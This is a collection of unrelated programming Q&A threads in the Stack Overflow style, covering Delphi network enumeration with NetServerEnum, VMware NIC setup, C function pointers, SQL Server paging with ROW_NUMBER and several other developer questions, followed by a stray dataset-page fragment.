<p>Answered my own question:</p> <p>Use the <a href="http://msdn.microsoft.com/en-us/library/aa370623(VS.85).aspx" rel="nofollow">NetServerEnum</a> function, passing in the <code>SV_TYPE_DOMAIN_ENUM</code> constant for the "servertype" argument.</p> <p>In Delphi, the code looks like this:</p> <pre><code>&lt;snip&gt; type NET_API_STATUS = DWORD; PSERVER_INFO_100 = ^SERVER_INFO_100; SERVER_INFO_100 = packed record sv100_platform_id : DWORD; sv100_name : PWideChar; end; function NetServerEnum( //get a list of pcs on the network (same as DOS cmd "net view") const servername : PWideChar; const level : DWORD; const bufptr : Pointer; const prefmaxlen : DWORD; const entriesread : PDWORD; const totalentries : PDWORD; const servertype : DWORD; const domain : PWideChar; const resume_handle : PDWORD ) : NET_API_STATUS; stdcall; external 'netapi32.dll'; function NetApiBufferFree( //memory mgmt routine const Buffer : Pointer ) : NET_API_STATUS; stdcall; external 'netapi32.dll'; const MAX_PREFERRED_LENGTH = DWORD(-1); NERR_Success = 0; SV_TYPE_ALL = $FFFFFFFF; SV_TYPE_DOMAIN_ENUM = $80000000; function TNetwork.ComputersInDomain: TStringList; var pBuffer : PSERVER_INFO_100; pWork : PSERVER_INFO_100; dwEntriesRead : DWORD; dwTotalEntries : DWORD; i : integer; dwResult : NET_API_STATUS; begin Result := TStringList.Create; Result.Clear; dwResult := NetServerEnum(nil,100,@pBuffer,MAX_PREFERRED_LENGTH, @dwEntriesRead,@dwTotalEntries,SV_TYPE_DOMAIN_ENUM, PWideChar(FDomainName),nil); if dwResult = NERR_SUCCESS then begin try pWork := pBuffer; for i := 1 to dwEntriesRead do begin Result.Add(pWork.sv100_name); inc(pWork); end; //for i finally NetApiBufferFree(pBuffer); end; //try-finally end //if no error else begin raise Exception.Create('Error while retrieving computer list from domain ' + FDomainName + #13#10 + SysErrorMessage(dwResult)); end; end; &lt;snip&gt; </code></pre>
VMWare Server Under Linux Secondary NIC connection <p>With VMWare Server running under Linux (Debain), I would like to have the following setup:</p> <ul> <li>1st: NIC being used by many of the images running under VMWare, as well as being used by the Linux OS </li> <li>2nd: NIC being used by only 1 image and to be unused by the Linux OS (as its part of a DMZ)</li> </ul> <p>Although the second NIC won't be used by Linux, it is certainly recognised as a NIC (e.g. eth1).</p> <p>Is this possible under VMWare Server, and if so, is it as simple as not binding eth1 under Linux and then bridging it to the image under VMWare Server?</p>
<p>I believe you can set the desired solution up by rerunning the vmware configuration script. And doing a custom network setup, so that both NIC's are mapped to your vmware instance. I would recommend making eth0 the 2nd NIC since it will be easier for Linux to use by default. Then make eth1 the 1st NIC.</p>
SharePoint WSS 3.0 Integration with Mac OSX (either Safari or Firefox) <p>We have a SharePoint WSS site and some of our users on on the Mac OSX platform. Are there any tips or tricks to get a similar experience to Windows with document shares and calendars on the Mac?</p> <p>Edit: Browsing a SharePoint WSS site on a Mac, whether using Firefox or Safari, has a very similar look and feel as it does on Windows IE. The similar experience I am looking for has to do with integrating the calendars, document shares, etc. into the desktop.</p> <p>For example, with IE you can go to a calendar and select "Actions -> Connect to Outlook" and it will make the calendar visible and manageable from within Outlook.</p> <p>Is there any way to get the Mac to work similarly?</p>
<p>Unfortunately, the "full" Sharepoint Experience is limited to running Internet Explorer 6/7 and Office 2007.</p> <p>On the Mac, I recommend using Firefox (Camino?) which seems to work a bit better than Safari.</p> <p>Edit: When you say "Similar experience", what exactly are you missing? I don't have any Mac here, but I was under the impression that Office 2008 will have a working integration with Sharepoint as well.</p>
Accessing iSight programatically? <p>Is it possible to access the iSight camera on a macbook programatically? By this I mean I would like to be able to just grab still frames from the iSight camera on command and then do something with them. If so, is it only accessible using objective c, or could other languages be used as well? </p>
<p>You should check out the <a href="http://developer.apple.com/documentation/QuickTime/Conceptual/QTKitCaptureProgrammingGuide/Introduction/chapter_1_section_1.html#//apple_ref/doc/uid/TP40004574-CH1-DontLinkElementID_41" rel="nofollow">QTKit Capture documentation</a>.</p> <p>On Leopard, you can get at all of it over the RubyCocoa bridge:</p> <pre><code>require 'osx/cocoa' OSX.require_framework("/System/Library/Frameworks/QTKit.framework") OSX::QTCaptureDevice.inputDevices.each do |device| puts device.localizedDisplayName end </code></pre>
Interfaces on different logic layers <p>Say you have an application divided into 3-tiers: GUI, business logic, and data access. In your business logic layer you have described your business objects: getters, setters, accessors, and so on... you get the idea. The interface to the business logic layer guarantees safe usage of the business logic, so all the methods and accessors you call will validate input. </p> <p>This great when you first write the UI code, because you have a neatly defined interface that you can trust.</p> <p>But here comes the tricky part, when you start writing the data access layer, the interface to the business logic does not accommodate your needs. You need to have more accessors and getters to set fields which are/used to be hidden. Now you are forced to erode the interface of your business logic; now it is possible set fields from the UI layer, which the UI layer has no business setting. </p> <p>Because of the changes needed for the data access layer, the interface to the business logic has eroded to the point where it is possible to even set the business logic with invalid data. Thus, the interface does not guarantee safe usage anymore.</p> <p>I hope I explained the problem clearly enough. How do you prevent interface eroding, maintain information hiding and encapsulation, and yet still accommodate different interface needs among different layers? </p>
<p>If I understand the question correctly, you've created a domain model and you would like to write an object-relational mapper to map between records in your database and your domain objects. However, you're concerned about polluting your domain model with the 'plumbing' code that would be necessary to read and write to your object's fields.</p> <p>Taking a step back, you essentially have two choices of where to put your data mapping code - within the domain class itself or in an external mapping class. The first option is often called the Active Record pattern and has the advantage that each object knows how to persist itself and has sufficient access to its internal structure to allow it to perform the mapping without needing to expose non-business related fields.</p> <p>E.g</p> <pre><code>public class User { private string name; private AccountStatus status; private User() { } public string Name { get { return name; } set { name = value; } } public AccountStatus Status { get { return status; } } public void Activate() { status = AccountStatus.Active; } public void Suspend() { status = AccountStatus.Suspended; } public static User GetById(int id) { User fetchedUser = new User(); // Lots of database and error-checking code // omitted for clarity // ... fetchedUser.name = (string) reader["Name"]; fetchedUser.status = (int)reader["statusCode"] == 0 ? AccountStatus.Suspended : AccountStatus.Active; return fetchedUser; } public static void Save(User user) { // Code to save User's internal structure to database // ... } } </code></pre> <p>In this example, we have an object that represents a User with a Name and an AccountStatus. We don't want to allow the Status to be set directly, perhaps because we want to check that the change is a valid status transition, so we don't have a setter. Fortunately, the mapping code in the GetById and Save static methods have full access to the object's name and status fields.</p> <p>The second option is to have a second class that is responsible for the mapping. This has the advantage of seperating out the different concerns of business logic and persistence which can allow your design to be more testable and flexible. The challenge with this method is how to expose the name and status fields to the external class. Some options are: 1. Use reflection (which has no qualms about digging deep into your object's private parts) 2. Provide specially-named, public setters (e.g. prefix them with the word 'Private') and hope no one uses them accidentally 3. If your language suports it, make the setters internal but grant your data mapper module access. E.g. use the InternalsVisibleToAttribute in .NET 2.0 onwards or friend functions in C++</p> <p>For more information, I'd recommend Martin Fowler's classic book 'Patterns of Enterprise Architecture'</p> <p>However, as a word of warning, before going down the path of writing your own mappers I'd strongly recommend looking at using a 3rd-party object relational mapper (ORM) tool such as nHibernate or Microsoft's Entity Framework. I've worked on four different projects where, for various reasons, we wrote our own mapper and it is very easy to waste a lot of time maintaining and extending the mapper instead of writing code that provides end user value. I've used nHibernate on one project so far and, although it has quite a steep learning curve initially, the investment you put in early on pays off considerably.</p>
How do you pass a function as a parameter in C? <p>I want to create a function that performs a function passed by parameter on a set of data. How do you pass a function as a parameter in C?</p>
<p><strong>Declaration</strong></p> <p>A prototype for a function which takes a function parameter looks like the following:</p> <pre><code>void func ( void (*f)(int) ); </code></pre> <p>This states that the parameter <code>f</code> will be a pointer to a function which has a <code>void</code> return type and which takes a single <code>int</code> parameter. The following function (<code>print</code>) is an example of a function which could be passed to <code>func</code> as a parameter because it is the proper type:</p> <pre><code>void print ( int x ) { printf("%d\n", x); } </code></pre> <p><strong>Function Call</strong></p> <p>When calling a function with a function parameter, the value passed must be a pointer to a function. Use the function's name (without parentheses) for this:</p> <pre><code>func(print); </code></pre> <p>would call <code>func</code>, passing the print function to it.</p> <p><strong>Function Body</strong></p> <p>As with any parameter, func can now use the parameter's name in the function body to access the value of the parameter. Let's say that func will apply the function it is passed to the numbers 0-4. Consider, first, what the loop would look like to call print directly:</p> <pre><code>for ( int ctr = 0 ; ctr &lt; 5 ; ctr++ ) { print(ctr); } </code></pre> <p>Since <code>func</code>'s parameter declaration says that <code>f</code> is the name for a pointer to the desired function, we recall first that if <code>f</code> is a pointer then <code>*f</code> is the thing that <code>f</code> points to (i.e. the function <code>print</code> in this case). As a result, just replace every occurrence of print in the loop above with <code>*f</code>:</p> <pre><code>void func ( void (*f)(int) ) { for ( int ctr = 0 ; ctr &lt; 5 ; ctr++ ) { (*f)(ctr); } } </code></pre> <p>From <a href="http://math.hws.edu/bridgeman/courses/331/f05/handouts/c-c++-notes.html">http://math.hws.edu/bridgeman/courses/331/f05/handouts/c-c++-notes.html</a></p>
What libraries do I need to link my mixed-mode application to? <p>I'm integrating .NET support into our C++ application.<br /> It's an old-school MFC application, with 1 extra file compiled with the "/clr" option that references a CWinFormsControl.</p> <p>I'm not allowed to remove the linker flag "/NODEFAULTLIB".<br /> (We have our own build management system, not Visual Studio's.)<br /> This means I have to specify all necessary libraries: VC runtime and MFC.</p> <p>Other compiler options include "/MD"</p> <p>Next to that: I can't use the linker flag "/FORCE:MULTIPLE" and just add <em>everything</em>:<br /> I'm looking for a non-overlapping set of libraries.</p>
<p>As a bare minimum:</p> <p>mscoree.lib MSVCRT.lib mfc90.lib (adjust version appropriately)</p> <p>And iterate from there.</p>
Lisp/Scheme interpreter without Emacs? <p><br /> I've been wanting to teach myself Lisp for a while. However, all the interpreters of which I've heard involve some flavor of emacs. Are there any command line interpreters, such that I could type this into the command line:</p> <blockquote> <p>lispinterpret sourcefile.lisp</p> </blockquote> <p>just like I can run perl or python.</p> <p>While I'd also like to become more familiar with Emacs (if only not to be frustrated when I work with somebody who uses Emacs), I'd rather decouple learning Emacs from learning Lisp.</p> <p>Edit: I actually want to follow SICP which uses Scheme, so an answer about Scheme would be more useful. I'm just not that familiar with the differences.</p>
<p>You could also try <a href="http://www.plt-scheme.org/">DrScheme</a>, which whilst not exactly a standalone interpreter, isn't emacs :)</p> <p>It's basically a simple IDE that has an area to type in code that can be executed as a file, and then another area that is the running interpreter that you can interact with.</p> <p>(Also, find the UC Berkeley CS61A podcasts and listen to them, as well as reading SICP)</p>
How can I reverse the ON bits in a byte? <p>I was reading Joel's book where he was suggesting as interview question:</p> <blockquote> <p>Write a program to reverse the "ON" bits in a given byte.</p> </blockquote> <p>I only can think of a solution using C. </p> <p>Asking here so you can show me how to do in a Non C way (if possible)</p>
<p>I claim trick question. :) Reversing all bits means a flip-flop, but only the bits that are on clearly means:</p> <pre><code>return 0; </code></pre>
How to return a page of results from SQL? <p>Many applications have grids that display data from a database table one page at a time. Many of them also let the user pick the number of records per page, sort by any column, and navigate back and forth through the results.</p> <p>What's a good algorithm to implement this pattern without bringing the entire table to the client and then filtering the data on the client. How do you bring just the records you want to display to the user?</p> <p>Does LINQ simplify the solution?</p>
<p>On MS SQL Server 2005 and above, <a href="http://msdn.microsoft.com/en-us/library/ms186734.aspx" rel="nofollow">ROW_NUMBER()</a> seems to work:</p> <p><a href="http://blogs.x2line.com/al/archive/2005/11/18/1323.aspx" rel="nofollow">T-SQL: Paging with ROW_NUMBER()</a></p> <pre><code>DECLARE @PageNum AS INT; DECLARE @PageSize AS INT; SET @PageNum = 2; SET @PageSize = 10; WITH OrdersRN AS ( SELECT ROW_NUMBER() OVER(ORDER BY OrderDate, OrderID) AS RowNum ,OrderID ,OrderDate ,CustomerID ,EmployeeID FROM dbo.Orders ) SELECT * FROM OrdersRN WHERE RowNum BETWEEN (@PageNum - 1) * @PageSize + 1 AND @PageNum * @PageSize ORDER BY OrderDate ,OrderID; </code></pre>
Checking for string contents? string Length Vs Empty String <p>Which is more efficient for the compiler and the best practice for checking whether a string is blank? </p> <ol> <li>Checking whether the length of the string == 0</li> <li>Checking whether the string is empty (strVar == "")</li> </ol> <p>Also, does the answer depend on language?</p>
<p>Yes, it depends on language, since string storage differs between languages.</p> <ul> <li>Pascal-type strings: <code>Length = 0</code>.</li> <li>C-style strings: <code>[0] == 0</code>. </li> <li>.NET: <code>.IsNullOrEmpty</code>.</li> </ul> <p>Etc. </p>

No dataset card yet

Downloads last month
2